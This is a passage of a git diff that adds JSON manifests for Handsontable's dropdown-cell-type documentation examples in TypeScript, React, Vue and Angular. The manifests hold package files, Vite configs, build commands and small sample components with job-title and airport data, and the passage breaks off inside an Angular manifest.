    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\nconst jobTitles = [\n 'Software Engineer',\n 'Senior Software Engineer',\n 'Staff Engineer',\n 'Engineering Manager',\n 'Product Manager',\n 'Product Designer',\n 'Data Analyst',\n 'Data Scientist',\n 'Marketing Specialist',\n 'Account Executive',\n 'Customer Success Manager',\n 'Finance Analyst',\n 'Recruiter',\n 'Office Manager',\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Ana García', 'Senior Software Engineer', 'Senior Software Engineer'],\n ['James Okafor', 'Product Manager', 'Product Manager'],\n ['Li Wei', 'Data Scientist', 'Data Scientist'],\n ['Sofia Rossi', 'Account Executive', 'Account Executive'],\n ],\n colHeaders: ['Employee', 'Job title (default)', 'Job title (compact)'],\n columns: [\n {},\n {\n type: 'dropdown',\n source: jobTitles,\n },\n {\n type: 'dropdown',\n source: jobTitles,\n // show 3 options at a time, then scroll\n visibleRows: 3,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example5.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example5","exampleTitle":"Set the dropdown height","docPermalink":"/dropdown-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..3c754c17 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Dropdown cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/dropdown-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/dropdown-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example2.tsx.json new file mode 100644 index 00000000..333736bd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Dropdown cell type · Array of values · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const shipmentKVData = [\n ['Electronics and Gadgets', 'Los Angeles International Airport'],\n ['Medical Supplies', 'John F. Kennedy International Airport'],\n ['Auto Parts', \"Chicago O'Hare International Airport\"],\n ['Fresh Produce', 'London Heathrow Airport'],\n ['Textiles', 'Charles de Gaulle Airport'],\n ['Industrial Equipment', 'Dubai International Airport'],\n ['Pharmaceuticals', 'Tokyo Haneda Airport'],\n ['Consumer Goods', 'Beijing Capital International Airport'],\n ['Machine Parts', 'Singapore Changi Airport'],\n ['Food Products', 'Amsterdam Airport Schiphol'],\n ];\n\n const airportKVData = [\n 'Los Angeles International Airport',\n 'John F. Kennedy International Airport',\n \"Chicago O'Hare International Airport\",\n 'London Heathrow Airport',\n 'Charles de Gaulle Airport',\n 'Dubai International Airport',\n 'Tokyo Haneda Airport',\n 'Beijing Capital International Airport',\n 'Singapore Changi Airport',\n 'Amsterdam Airport Schiphol',\n 'Frankfurt Airport',\n 'Seoul Incheon International Airport',\n 'Toronto Pearson International Airport',\n 'Madrid-Barajas Airport',\n 'Bangkok Suvarnabhumi Airport',\n 'Munich International Airport',\n 'Sydney Kingsford Smith Airport',\n 'Barcelona-El Prat Airport',\n 'Kuala Lumpur International Airport',\n 'Zurich Airport',\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/dropdown-cell-type/react/example2.tsx","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example2","exampleTitle":"Array of values","docPermalink":"/dropdown-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example3.tsx.json new file mode 100644 index 00000000..237c15cf --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Dropdown cell type · Array of objects · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const shipmentKVData = [\n ['Electronics and Gadgets', { key: 'LAX', value: 'Los Angeles International Airport' }],\n ['Medical Supplies', { key: 'JFK', value: 'John F. Kennedy International Airport' }],\n ['Auto Parts', { key: 'ORD', value: \"Chicago O'Hare International Airport\" }],\n ['Fresh Produce', { key: 'LHR', value: 'London Heathrow Airport' }],\n ['Textiles', { key: 'CDG', value: 'Charles de Gaulle Airport' }],\n ['Industrial Equipment', { key: 'DXB', value: 'Dubai International Airport' }],\n ['Pharmaceuticals', { key: 'HND', value: 'Tokyo Haneda Airport' }],\n ['Consumer Goods', { key: 'PEK', value: 'Beijing Capital International Airport' }],\n ['Machine Parts', { key: 'SIN', value: 'Singapore Changi Airport' }],\n ['Food Products', { key: 'AMS', value: 'Amsterdam Airport Schiphol' }],\n ];\n\n const airportKVData = [\n { key: 'LAX', value: 'Los Angeles International Airport' },\n { key: 'JFK', value: 'John F. Kennedy International Airport' },\n { key: 'ORD', value: \"Chicago O'Hare International Airport\" },\n { key: 'LHR', value: 'London Heathrow Airport' },\n { key: 'CDG', value: 'Charles de Gaulle Airport' },\n { key: 'DXB', value: 'Dubai International Airport' },\n { key: 'HND', value: 'Tokyo Haneda Airport' },\n { key: 'PEK', value: 'Beijing Capital International Airport' },\n { key: 'SIN', value: 'Singapore Changi Airport' },\n { key: 'AMS', value: 'Amsterdam Airport Schiphol' },\n { key: 'FRA', value: 'Frankfurt Airport' },\n { key: 'ICN', value: 'Seoul Incheon International Airport' },\n { key: 'YYZ', value: 'Toronto Pearson International Airport' },\n { key: 'MAD', value: 'Madrid-Barajas Airport' },\n { key: 'BKK', value: 'Bangkok Suvarnabhumi Airport' },\n { key: 'MUC', value: 'Munich International Airport' },\n { key: 'SYD', value: 'Sydney Kingsford Smith Airport' },\n { key: 'BCN', value: 'Barcelona-El Prat Airport' },\n { key: 'KUL', value: 'Kuala Lumpur International Airport' },\n { key: 'ZRH', value: 'Zurich Airport' },\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/dropdown-cell-type/react/example3.tsx","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/dropdown-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example4.tsx.json new file mode 100644 index 00000000..5341e1a3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown width · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst departments = [\n 'Engineering and Platform Infrastructure',\n 'Marketing and Brand Communications',\n 'Financial Planning and Analysis',\n 'People Operations and Talent Acquisition',\n 'Customer Success and Enterprise Accounts',\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/dropdown-cell-type/react/example4.tsx","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example4","exampleTitle":"Set the dropdown width","docPermalink":"/dropdown-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example5.tsx.json new file mode 100644 index 00000000..1227195a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__react__example5.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown height · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst jobTitles = [\n 'Software Engineer',\n 'Senior Software Engineer',\n 'Staff Engineer',\n 'Engineering Manager',\n 'Product Manager',\n 'Product Designer',\n 'Data Analyst',\n 'Data Scientist',\n 'Marketing Specialist',\n 'Account Executive',\n 'Customer Success Manager',\n 'Finance Analyst',\n 'Recruiter',\n 'Office Manager',\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/dropdown-cell-type/react/example5.tsx","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example5","exampleTitle":"Set the dropdown height","docPermalink":"/dropdown-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..87bf0695 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Dropdown cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/dropdown-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/dropdown-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example2.vue.json new file mode 100644 index 00000000..c8e1d929 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Dropdown cell type · Array of values · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/dropdown-cell-type/vue/example2.vue","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example2","exampleTitle":"Array of values","docPermalink":"/dropdown-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example3.vue.json new file mode 100644 index 00000000..6339202f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Dropdown cell type · Array of objects · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/dropdown-cell-type/vue/example3.vue","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/dropdown-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example4.vue.json new file mode 100644 index 00000000..ebb13abc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown width · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/dropdown-cell-type/vue/example4.vue","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example4","exampleTitle":"Set the dropdown width","docPermalink":"/dropdown-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example5.vue.json new file mode 100644 index 00000000..d5997ce5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__vue__example5.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown height · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/dropdown-cell-type/vue/example5.vue","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example5","exampleTitle":"Set the dropdown height","docPermalink":"/dropdown-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..0883255c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__handsontable-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Handsontable cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n 